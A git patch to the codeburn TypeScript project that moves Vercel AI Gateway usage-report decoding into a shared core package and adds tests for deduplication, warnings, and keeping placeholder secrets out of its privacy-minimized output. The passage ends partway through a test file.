From 6983b29bf3a42d8597cdeaa5e519deafc667ff30 Mon Sep 17 00:00:00 2001 From: iamtoruk Date: Mon, 27 Jul 2026 09:40:04 -0700 Subject: [PATCH] refactor(core): vercel-gateway decode into core, report fetch host-side (phase 8, network special) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit COMPLETES Phase 8 of the @codeburn/core extraction: 36/36 provider identities (including qwen) now decode in core. The row -> call mapping moves to packages/core/src/providers/vercel-gateway/ verbatim: day/model/cost defaults, the all-zero skip BEFORE the dedup key is burned, the `vercel-gateway::` key with add-after-skip semantics, `${day}T12:00:00.000Z` timestamp synthesis ('' for a missing day), and the `${day}:${model}` session id. The decoder is pure over supplied rows: no fs, env, clock, or network. Everything network stays host-side and byte-identical: the authenticated /v1/report fetch, the AI_GATEWAY_API_KEY / VERCEL_OIDC_TOKEN reads, both stderr warnings, discovery, `network: true`, and the gate that yields nothing when the scan has no date range. Adapter shape adjudication: the draft used createBridgedProvider and needed two contortions to fit it — a Symbol-keyed dateRange stashed on the shared SessionSource, and `project` packed into the records payload then unpacked by a decode wrapper (the bridge passes neither the date range nor the source to the mapping step). The Symbol injection also mutated the caller's discovered source object, an observable behavior change. Rejected both; this provider now uses a plain bespoke adapter like antigravity/kiro, which the bridge's own header already documents as the escape hatch for providers it was not built to cover. No change to bridge.ts, parser.ts, pricing-pass.ts, or session-cache.ts. Emitted key shape is unchanged and gated by key-set assertions: `costUSD` is present and there is NO `costBasis` key, so parser.ts keeps passing the gateway's own dollar figure through instead of repricing it. Validator fixes on top of the draft: - Dropped the Symbol side-channel and the packed-payload decode wrapper. - Corrected a false claim in the core observations header: it said the raw `day` was never emitted, but `day` is spliced verbatim into the timestamp, into startedAt/endedAt, and into the dedup key. The envelope's date-time constraint is what actually bounds it; a new smuggling arm pins that a hostile `day` fails envelope validation. - Added golden arms for both stderr warnings, for the no-date-range arm making no fetch at all, and for the provider not mutating the discovered source. Verification: the strengthened goldens were run against the pre-migration provider restored in place and pass identically (13/13). Swapping the all-zero skip and the dedup burn fails tests at both the core and CLI layers. Core 509 tests, CLI 2470, root 2470 — all green. --- packages/cli/src/providers/vercel-gateway.ts | 84 +++-- .../providers/vercel-gateway-bridge.test.ts | 309 ++++++++++++++++++ packages/core/package.json | 4 + .../src/providers/vercel-gateway/decode.ts | 70 ++++ .../src/providers/vercel-gateway/index.ts | 12 + .../providers/vercel-gateway/observations.ts | 98 ++++++ .../src/providers/vercel-gateway/types.ts | 41 +++ packages/core/tests/content-smuggling.test.ts | 73 +++++ .../providers/vercel-gateway-decode.test.ts | 141 ++++++++ packages/core/tsup.config.ts | 1 + 10 files changed, 787 insertions(+), 46 deletions(-) create mode 100644 packages/cli/tests/providers/vercel-gateway-bridge.test.ts create mode 100644 packages/core/src/providers/vercel-gateway/decode.ts create mode 100644 packages/core/src/providers/vercel-gateway/index.ts create mode 100644 packages/core/src/providers/vercel-gateway/observations.ts create mode 100644 packages/core/src/providers/vercel-gateway/types.ts create mode 100644 packages/core/tests/providers/vercel-gateway-decode.test.ts diff --git a/packages/cli/src/providers/vercel-gateway.ts b/packages/cli/src/providers/vercel-gateway.ts index 9968d6d9..2d8daf45 100644 --- a/packages/cli/src/providers/vercel-gateway.ts +++ b/packages/cli/src/providers/vercel-gateway.ts @@ -1,21 +1,11 @@ import type { DateRange } from '../types.js' import type { Provider, SessionSource, SessionParser, ParsedProviderCall } from './types.js' +import { decodeVercelGateway } from '@codeburn/core/providers/vercel-gateway' +import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from '@codeburn/core/providers/vercel-gateway' import { fetchWithTimeout } from '../fetch-utils.js' const REPORT_URL = 'https://ai-gateway.vercel.sh/v1/report' -type ReportRow = { - day?: string - model?: string - total_cost?: number - input_tokens?: number - output_tokens?: number - cached_input_tokens?: number - cache_creation_input_tokens?: number - reasoning_tokens?: number - request_count?: number -} - export function getVercelGatewayApiKey(): string | null { const key = process.env['AI_GATEWAY_API_KEY'] ?? process.env['VERCEL_OIDC_TOKEN'] return key?.trim() ? key.trim() : null @@ -30,7 +20,7 @@ function formatUtcDate(d: Date): string { export async function fetchVercelGatewayReport( dateRange: DateRange, -): Promise { +): Promise { const key = getVercelGatewayApiKey() if (!key) return [] @@ -60,7 +50,7 @@ export async function fetchVercelGatewayReport( return [] } - const body = (await res.json()) as { results?: ReportRow[] } + const body = (await res.json()) as { results?: VercelGatewayReportRow[] } return body.results ?? [] } catch (err) { process.stderr.write( @@ -70,6 +60,37 @@ export async function fetchVercelGatewayReport( } } +// Map one rich core call into the host's ParsedProviderCall. Unlike the +// token-priced providers this one carries the gateway's own dollar figure, so +// `costUSD` passes through verbatim and no `costBasis` key is emitted — that is +// what makes parser.ts leave the value alone instead of repricing it. +function toProviderCall(rich: VercelGatewayDecodedCall, project: string): ParsedProviderCall { + return { + provider: 'vercel-gateway', + model: rich.model, + inputTokens: rich.inputTokens, + outputTokens: rich.outputTokens, + cacheCreationInputTokens: rich.cacheCreationInputTokens, + cacheReadInputTokens: rich.cacheReadInputTokens, + cachedInputTokens: rich.cachedInputTokens, + reasoningTokens: rich.reasoningTokens, + webSearchRequests: rich.webSearchRequests, + costUSD: rich.costUSD, + tools: [], + bashCommands: [], + timestamp: rich.timestamp, + speed: rich.speed, + deduplicationKey: rich.deduplicationKey, + userMessage: '', + sessionId: rich.sessionId, + project, + } +} + +// Bespoke adapter rather than createBridgedProvider: the records come from an +// authenticated HTTP report scoped to the scan's date range, which the bridge's +// readRecords never receives. Fetching, auth, the stderr warnings, and the +// no-date-range gate stay here; core owns only the row -> call decode. function createParser( source: SessionSource, seenKeys: Set, @@ -80,38 +101,9 @@ function createParser( if (!dateRange) return const rows = await fetchVercelGatewayReport(dateRange) - for (const row of rows) { - const day = row.day ?? '' - const model = row.model ?? 'unknown' - const costUSD = row.total_cost ?? 0 - const inputTokens = row.input_tokens ?? 0 - const outputTokens = row.output_tokens ?? 0 - if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue - - const deduplicationKey = `vercel-gateway:${day}:${model}` - if (seenKeys.has(deduplicationKey)) continue - seenKeys.add(deduplicationKey) - - yield { - provider: 'vercel-gateway', - model, - inputTokens, - outputTokens, - cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0, - cacheReadInputTokens: row.cached_input_tokens ?? 0, - cachedInputTokens: 0, - reasoningTokens: row.reasoning_tokens ?? 0, - webSearchRequests: 0, - costUSD, - tools: [], - bashCommands: [], - timestamp: day ? `${day}T12:00:00.000Z` : '', - speed: 'standard', - deduplicationKey, - userMessage: '', - sessionId: `${day}:${model}`, - project: source.project, - } + const { calls } = decodeVercelGateway({ records: rows, seenKeys }) + for (const rich of calls) { + yield toProviderCall(rich, source.project) } }, } diff --git a/packages/cli/tests/providers/vercel-gateway-bridge.test.ts b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts new file mode 100644 index 00000000..840046a2 --- /dev/null +++ b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts @@ -0,0 +1,309 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { vercelGateway } from '../../src/providers/vercel-gateway.js' + +const source = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const } + +function sortedKeys(obj: object): string[] { + return Object.keys(obj).sort() +} + +const expectedKeys = [ + 'bashCommands', + 'cacheCreationInputTokens', + 'cacheReadInputTokens', + 'cachedInputTokens', + 'costUSD', + 'deduplicationKey', + 'inputTokens', + 'model', + 'outputTokens', + 'project', + 'provider', + 'reasoningTokens', + 'sessionId', + 'speed', + 'timestamp', + 'tools', + 'userMessage', + 'webSearchRequests', +] + +describe('vercel-gateway bridge golden (unmodified provider)', () => { + const originalFetch = globalThis.fetch + const originalKey = process.env.AI_GATEWAY_API_KEY + + beforeEach(() => { + process.env.AI_GATEWAY_API_KEY = 'test-key' + }) + + afterEach(() => { + globalThis.fetch = originalFetch + if (originalKey === undefined) delete process.env.AI_GATEWAY_API_KEY + else process.env.AI_GATEWAY_API_KEY = originalKey + vi.restoreAllMocks() + }) + + const range = { + start: new Date('2026-06-01T00:00:00.000Z'), + end: new Date('2026-06-07T23:59:59.999Z'), + } + + it('maps a normal multi-row report verbatim', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [ + { + day: '2026-06-01', + model: 'anthropic/claude-sonnet-4.6', + total_cost: 1.25, + input_tokens: 1000, + output_tokens: 200, + cached_input_tokens: 50, + cache_creation_input_tokens: 10, + reasoning_tokens: 5, + request_count: 3, + }, + { + day: '2026-06-02', + model: 'openai/gpt-4o', + total_cost: 0.75, + input_tokens: 500, + output_tokens: 100, + request_count: 1, + }, + ], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(2) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'anthropic/claude-sonnet-4.6', + inputTokens: 1000, + outputTokens: 200, + cacheCreationInputTokens: 10, + cacheReadInputTokens: 50, + cachedInputTokens: 0, + reasoningTokens: 5, + webSearchRequests: 0, + costUSD: 1.25, + tools: [], + bashCommands: [], + timestamp: '2026-06-01T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6', + userMessage: '', + sessionId: '2026-06-01:anthropic/claude-sonnet-4.6', + project: 'Vercel AI Gateway', + }) + expect(calls[1]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'openai/gpt-4o', + inputTokens: 500, + outputTokens: 100, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 0, + cachedInputTokens: 0, + reasoningTokens: 0, + webSearchRequests: 0, + costUSD: 0.75, + tools: [], + bashCommands: [], + timestamp: '2026-06-02T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-02:openai/gpt-4o', + userMessage: '', + sessionId: '2026-06-02:openai/gpt-4o', + project: 'Vercel AI Gateway', + }) + for (const call of calls) { + expect(sortedKeys(call as object)).toStrictEqual(expectedKeys) + expect(call).not.toHaveProperty('costBasis') + } + }) + + it('skips all-zero rows BEFORE burning a dedup key', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [ + { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0, input_tokens: 0, output_tokens: 0 }, + { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + ], + }), + })) as typeof fetch + + const seen = new Set() + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect((calls[0] as { costUSD: number }).costUSD).toBe(0.5) + expect(seen.has('vercel-gateway:2026-06-03:skip-before-dedup')).toBe(true) + }) + + it('second pass with a shared seenKeys yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ day: '2026-06-04', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }], + }), + })) as typeof fetch + + const seen = new Set(['vercel-gateway:2026-06-04:dup']) + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) { + calls.push(call) + } + expect(calls).toStrictEqual([]) + expect(seen.has('vercel-gateway:2026-06-04:dup')).toBe(true) + }) + + it('missing day keeps timestamp empty', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'no-day', + inputTokens: 10, + outputTokens: 5, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 0, + cachedInputTokens: 0, + reasoningTokens: 0, + webSearchRequests: 0, + costUSD: 0.5, + tools: [], + bashCommands: [], + timestamp: '', + speed: 'standard', + deduplicationKey: 'vercel-gateway::no-day', + userMessage: '', + sessionId: ':no-day', + project: 'Vercel AI Gateway', + }) + }) + + it('missing model defaults to unknown', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ day: '2026-06-05', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect((calls[0] as { model: string }).model).toBe('unknown') + expect((calls[0] as { sessionId: string }).sessionId).toBe('2026-06-05:unknown') + expect((calls[0] as { deduplicationKey: string }).deduplicationKey).toBe('vercel-gateway:2026-06-05:unknown') + expect(sortedKeys(calls[0] as object)).toStrictEqual(expectedKeys) + }) + + it('warns on a non-ok report and yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: false, + status: 403, + text: async () => 'forbidden detail', + })) as unknown as typeof fetch + const writes: string[] = [] + vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => { + writes.push(String(chunk)) + return true + }) + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toStrictEqual([]) + expect(writes).toStrictEqual([ + 'codeburn: Vercel AI Gateway report failed (HTTP 403). ' + + 'Requires AI_GATEWAY_API_KEY or VERCEL_OIDC_TOKEN (Pro/Enterprise for /v1/report). ' + + 'forbidden detail\n', + ]) + }) + + it('warns when the report is unreachable and yields nothing', async () => { + globalThis.fetch = vi.fn(async () => { + throw new Error('getaddrinfo ENOTFOUND ai-gateway.vercel.sh') + }) as unknown as typeof fetch + const writes: string[] = [] + vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => { + writes.push(String(chunk)) + return true + }) + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toStrictEqual([]) + expect(writes).toStrictEqual([ + 'codeburn: Vercel AI Gateway report unreachable (getaddrinfo ENOTFOUND ai-gateway.vercel.sh).\n', + ]) + }) + + it('no dateRange yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as typeof fetch + + const fetchSpy = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as unknown as typeof fetch + globalThis.fetch = fetchSpy + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), undefined).parse()) { + calls.push(call) + } + expect(calls).toStrictEqual([]) + expect(fetchSpy).not.toHaveBeenCalled() + }) + + // The discovered source is shared across the scan; parsing must not stash + // per-run state (e.g. a date range) on it. + it('does not mutate the discovered source', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-07', model: 'm', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as typeof fetch + + const fresh = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const } + const before = Reflect.ownKeys(fresh) + for await (const _call of vercelGateway.createSessionParser(fresh, new Set(), range).parse()) { + // drain + } + + expect(Reflect.ownKeys(fresh)).toStrictEqual(before) + expect(fresh).toStrictEqual({ path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' }) + }) +}) diff --git a/packages/core/package.json b/packages/core/package.json index 824e7568..c3ab7ab1 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -166,6 +166,10 @@ "./providers/kiro": { "types": "./dist/providers/kiro/index.d.ts", "import": "./dist/providers/kiro/index.js" + }, + "./providers/vercel-gateway": { + "types": "./dist/providers/vercel-gateway/index.d.ts", + "import": "./dist/providers/vercel-gateway/index.js" } }, "files": [ diff --git a/packages/core/src/providers/vercel-gateway/decode.ts b/packages/core/src/providers/vercel-gateway/decode.ts new file mode 100644 index 00000000..487e9df2 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/decode.ts @@ -0,0 +1,70 @@ +// @codeburn/core Vercel AI Gateway decoder: pure decode over the day×model +// aggregate rows the host fetched from the `/v1/report` API. No fs / env / +// clock / network — the host owns authentication, the HTTP request, the stderr +// warning, and the date-range gate. The decoder only maps rows to calls and +// threads the shared cross-file dedup set. + +import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js' + +export type VercelGatewayDecodeInput = { + records: unknown[] + // Optional live dedup set the host mutates in place (its shared cross-file + // seenKeys). Simple report providers never persist resume state. + seenKeys?: Set +} + +export type VercelGatewayDecodeResult = { + calls: VercelGatewayDecodedCall[] +} + +/** + * Decode Vercel AI Gateway report rows into rich, cost-carrying calls. The row + * mapping matches the original host-side parser verbatim: + * - day/model/cost defaults + * - all-zero rows are skipped BEFORE dedup key burn + * - dedup key `vercel-gateway::` with add-after-skip semantics + * - timestamp synthesized as `${day}T12:00:00.000Z` + * - sessionId synthesized as `${day}:${model}` + */ +export function decodeVercelGateway(input: VercelGatewayDecodeInput): VercelGatewayDecodeResult { + const { records, seenKeys: liveSeen } = input + const seen = liveSeen ?? new Set() + const calls: VercelGatewayDecodedCall[] = [] + + for (const raw of records) { + const row = raw as VercelGatewayReportRow + const day = row.day ?? '' + const model = row.model ?? 'unknown' + const costUSD = row.total_cost ?? 0 + const inputTokens = row.input_tokens ?? 0 + const outputTokens = row.output_tokens ?? 0 + + // Verbatim from the original parser: drop rows that report no usage and no + // cost before touching the dedup set, so an all-zero row does not burn its + // key and block a later non-zero row for the same day×model. + if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue + + const deduplicationKey = `vercel-gateway:${day}:${model}` + if (seen.has(deduplicationKey)) continue + seen.add(deduplicationKey) + + calls.push({ + provider: 'vercel-gateway', + model, + inputTokens, + outputTokens, + cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0, + cacheReadInputTokens: row.cached_input_tokens ?? 0, + cachedInputTokens: 0, + reasoningTokens: row.reasoning_tokens ?? 0, + webSearchRequests: 0, + costUSD, + timestamp: day ? `${day}T12:00:00.000Z` : '', + speed: 'standard', + deduplicationKey, + sessionId: `${day}:${model}`, + }) + } + + return { calls } +} diff --git a/packages/core/src/providers/vercel-gateway/index.ts b/packages/core/src/providers/vercel-gateway/index.ts new file mode 100644 index 00000000..0324ee64 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/index.ts @@ -0,0 +1,12 @@ +// @codeburn/core Vercel AI Gateway provider. +// +// Two layers: +// - Rich pure decode (`decodeVercelGateway`): host-facing, NOT part of the +// stable minimized surface. Pure over supplied report rows; carries the +// provider-reported dollar cost but no free text. +// - Minimizing transform (`toObservations`): maps the rich decode into the +// strict observation envelope; the content-smuggling guarantees bind here. + +export { decodeVercelGateway, type VercelGatewayDecodeInput, type VercelGatewayDecodeResult } from './decode.js' +export { toObservations, type RichVercelGatewaySessionDecode, type VercelGatewayToObservationsContext } from './observations.js' +export type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js' diff --git a/packages/core/src/providers/vercel-gateway/observations.ts b/packages/core/src/providers/vercel-gateway/observations.ts new file mode 100644 index 00000000..9db01053 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/observations.ts @@ -0,0 +1,98 @@ +// Minimizing transform: rich Vercel AI Gateway decode -> the strict observation +// envelope. This is where the content-smuggling guarantees bind. +// +// Vercel Gateway reports contain no free-text user content. The only string +// fields that cross into the envelope are machine identifiers: +// - `provider` and `model` are emitted by design under the identifier-exemption +// convention (see architecture-gate.test.ts MACHINE_ID_ALLOWLIST). +// - `day` is an API-supplied calendar date. It IS emitted, verbatim, inside the +// synthesized timestamp and the dedup key. The envelope's `format: date-time` +// constraint on every timestamp is what bounds it: a `day` that is not a real +// date fails envelope validation, so a hostile value cannot ship. +// No host-held user prompt, tools, bashCommands, file paths, or command lines +// exist at this layer. + +import { projectRef, sessionRef } from '../../fingerprint.js' +import type { RecordDiagnostic } from '../../diagnostics.js' +import type { CallObservation, SessionObservation } from '../../observations.js' +import type { VercelGatewayDecodedCall } from './types.js' + +/** One Vercel Gateway report's rich decode, as the host holds it before minimization. */ +export interface RichVercelGatewaySessionDecode { + sessionId: string + /** Discovered project label (fingerprinted, never emitted raw). */ + projectPath: string + /** Rich, cost-carrying calls in decode order (as decodeVercelGateway emits them). */ + calls: VercelGatewayDecodedCall[] +} + +export interface VercelGatewayToObservationsContext { + /** HMAC key that scopes every fingerprint. */ + privacyKey: string + /** Provider id stamped onto sessions/calls and folded into sessionRef. */ + provider?: string +} + +function toCallObservation(call: VercelGatewayDecodedCall, turnIndex: number): CallObservation { + return { + provider: call.provider, + model: call.model, + tokens: { + input: call.inputTokens, + output: call.outputTokens, + reasoning: call.reasoningTokens, + cacheRead: call.cacheReadInputTokens, + cacheCreate: call.cacheCreationInputTokens, + }, + webSearchRequests: call.webSearchRequests, + speed: call.speed, + // The provider reports a measured dollar figure directly from the API. + costBasis: 'measured', + measuredCostUSD: call.costUSD, + timestamp: call.timestamp, + dedupKey: call.deduplicationKey, + toolNames: [], + turnIndex, + } +} + +function toSessionObservation( + decode: RichVercelGatewaySessionDecode, + ctx: VercelGatewayToObservationsContext, +): SessionObservation { + const provider = ctx.provider ?? 'vercel-gateway' + const calls = decode.calls.map((call, i) => toCallObservation(call, i)) + + const timestamps = calls.map(c => c.timestamp).filter(t => t.length > 0).sort() + const startedAt = timestamps[0] ?? '' + const endedAt = timestamps.length > 0 ? timestamps[timestamps.length - 1]! : '' + + return { + sessionRef: sessionRef(ctx.privacyKey, provider, decode.sessionId), + projectRef: projectRef(ctx.privacyKey, decode.projectPath), + providerId: provider, + startedAt, + ...(endedAt ? { endedAt } : {}), + calls, + turnCount: calls.length, + } +} + +/** + * Map a rich Vercel Gateway decode into the minimized observation layer. + * Returns the `sessions` array plus any per-record `diagnostics` (none for this + * provider). + * + * Content-smuggling guarantee: no free text (host-held user prompt, project + * path, command, file path, tool argument) is ever copied into the result. Only + * fingerprints, enums, numbers, timestamps, dedup keys, and the API model + * identifier cross the boundary under the identifier-exemption convention. + */ +export function toObservations( + decode: RichVercelGatewaySessionDecode | RichVercelGatewaySessionDecode[], + ctx: VercelGatewayToObservationsContext, +): { sessions: SessionObservation[]; diagnostics: RecordDiagnostic[] } { + const decodes = Array.isArray(decode) ? decode : [decode] + const sessions = decodes.map(d => toSessionObservation(d, ctx)) + return { sessions, diagnostics: [] } +} diff --git a/packages/core/src/providers/vercel-gateway/types.ts b/packages/core/src/providers/vercel-gateway/types.ts new file mode 100644 index 00000000..d132e066 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/types.ts @@ -0,0 +1,41 @@ +// Raw record + rich-decode types for the Vercel AI Gateway provider. +// +// The record type (`VercelGatewayReportRow`) describes one day×model aggregate +// returned by the `/v1/report` API. The decoded-call type is the rich, pre- +// pricing output: it carries the provider-reported `costUSD` verbatim (a measured +// dollar figure, not an estimate) but no free-text user content. + +export type VercelGatewayReportRow = { + day?: string + model?: string + total_cost?: number + input_tokens?: number + output_tokens?: number + cached_input_tokens?: number + cache_creation_input_tokens?: number + reasoning_tokens?: number + request_count?: number +} + +// Rich decode of one Vercel Gateway aggregate row. Mirrors the host's +// ParsedProviderCall minus `costBasis` (the provider figure is measured, not +// estimated) and minus CLI-only fields (`project`, `tools`, `bashCommands`, and +// the host-held user prompt). No free text is captured: `day` is a calendar date +// and `model` is an API model identifier emitted under the identifier-exemption +// convention. +export type VercelGatewayDecodedCall = { + provider: 'vercel-gateway' + model: string + inputTokens: number + outputTokens: number + cacheCreationInputTokens: number + cacheReadInputTokens: number + cachedInputTokens: number + reasoningTokens: number + webSearchRequests: number + costUSD: number + timestamp: string + speed: 'standard' + deduplicationKey: string + sessionId: string +} diff --git a/packages/core/tests/content-smuggling.test.ts b/packages/core/tests/content-smuggling.test.ts index 31de1d3a..ebfd145f 100644 --- a/packages/core/tests/content-smuggling.test.ts +++ b/packages/core/tests/content-smuggling.test.ts @@ -53,6 +53,7 @@ import { decodeKiroV2Session, toObservations as toKiroObservations, } from '../src/providers/kiro/index.js' +import { decodeVercelGateway, toObservations as toVercelGatewayObservations } from '../src/providers/vercel-gateway/index.js' import type { DecodeContext } from '../src/contracts.js' import type { ZedThreadRow } from '../src/providers/zed/index.js' import type { @@ -2077,3 +2078,75 @@ describe('content-smuggling guardrail: real kiro decode -> toObservations is sec expect(allToolNames).not.toContain(SECRETS.commandLine) }) }) + + +describe('content-smuggling guardrail: real vercel-gateway decode -> toObservations is secret-free', () => { + // A hostile Vercel Gateway report planting every secret in the API fields the + // decode sees. The only free-text-capable API field is `model`; under the + // identifier-exemption convention model is an API identifier emitted by design, + // so the secret planted there is expected to remain. Every other secret must + // be absent from the envelope. + function decodeAndMinimize() { + const { calls } = decodeVercelGateway({ + records: [ + { + day: '2026-07-17', + model: SECRETS.prompt, + total_cost: 1.23, + input_tokens: 100, + output_tokens: 50, + }, + ], + }) + const { sessions } = toVercelGatewayObservations( + { sessionId: 'report-hostile', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + return { + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + } + } + + it('produces a schema-valid envelope from the hostile report', () => { + expect(ObservationEnvelope.safeParse(decodeAndMinimize()).success).toBe(true) + }) + + it('is non-vacuous (at least one call)', () => { + const env = decodeAndMinimize() + const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0) + expect(callCount).toBeGreaterThan(0) + }) + + it('contains the model secret (identifier-exemption convention) and no other secrets', () => { + const serialized = JSON.stringify(decodeAndMinimize()) + expect(serialized).toContain(SECRETS.prompt) + expect(serialized).not.toContain(SECRETS.absPath) + expect(serialized).not.toContain(SECRETS.apiKey) + expect(serialized).not.toContain(SECRETS.commandLine) + expect(serialized).not.toContain(SECRETS.fileContent) + }) + + // `day` is the report's only other string field, and it is NOT sanitized: the + // decode splices it verbatim into the synthesized timestamp and the dedup key. + // The envelope's date-time constraint is the containment, not the decode — a + // hostile `day` fails validation and therefore never ships. + it('rejects the envelope when a hostile day is spliced into the timestamp', () => { + const { calls } = decodeVercelGateway({ + records: [{ day: SECRETS.apiKey, model: 'openai/gpt-4o', total_cost: 1, input_tokens: 1, output_tokens: 1 }], + }) + expect(calls[0]?.timestamp).toContain(SECRETS.apiKey) + + const { sessions } = toVercelGatewayObservations( + { sessionId: 'report-hostile-day', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + const parsed = ObservationEnvelope.safeParse({ + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + }) + expect(parsed.success).toBe(false) + }) +}) diff --git a/packages/core/tests/providers/vercel-gateway-decode.test.ts b/packages/core/tests/providers/vercel-gateway-decode.test.ts new file mode 100644 index 00000000..6cf6f228 --- /dev/null +++ b/packages/core/tests/providers/vercel-gateway-decode.test.ts @@ -0,0 +1,141 @@ +import { describe, it, expect } from 'vitest' +import { decodeVercelGateway, toObservations } from '../../src/providers/vercel-gateway/index.js' +import { ObservationEnvelope } from '../../src/observations.js' +import { OBSERVATION_SCHEMA_VERSION } from '../../src/schema.js' + +describe('vercel-gateway decode', () => { + it('maps report rows to rich calls with verbatim defaults', () => { + const rows = [ + { + day: '2026-06-01', + model: 'anthropic/claude-sonnet-4.6', + total_cost: 1.25, + input_tokens: 1000, + output_tokens: 200, + cached_input_tokens: 50, + cache_creation_input_tokens: 10, + reasoning_tokens: 5, + }, + ] + const { calls } = decodeVercelGateway({ records: rows }) + + expect(calls).toHaveLength(1) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'anthropic/claude-sonnet-4.6', + inputTokens: 1000, + outputTokens: 200, + cacheCreationInputTokens: 10, + cacheReadInputTokens: 50, + cachedInputTokens: 0, + reasoningTokens: 5, + webSearchRequests: 0, + costUSD: 1.25, + timestamp: '2026-06-01T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6', + sessionId: '2026-06-01:anthropic/claude-sonnet-4.6', + }) + }) + + it('skips all-zero rows before burning a dedup key', () => { + const rows = [ + { day: '2026-06-02', model: 'all-zero', total_cost: 0, input_tokens: 0, output_tokens: 0 }, + { day: '2026-06-02', model: 'all-zero', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + ] + const seen = new Set() + const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen }) + + expect(calls).toHaveLength(1) + expect(calls[0]?.costUSD).toBe(0.5) + expect(seen.has('vercel-gateway:2026-06-02:all-zero')).toBe(true) + }) + + it('dedups against a shared seenKeys set', () => { + const rows = [{ day: '2026-06-03', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }] + const seen = new Set(['vercel-gateway:2026-06-03:dup']) + const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen }) + + expect(calls).toStrictEqual([]) + expect(seen.has('vercel-gateway:2026-06-03:dup')).toBe(true) + }) + + it('synthesizes timestamps and session ids from day/model', () => { + const rows = [ + { model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + { day: '2026-06-04', total_cost: 0.1, input_tokens: 1, output_tokens: 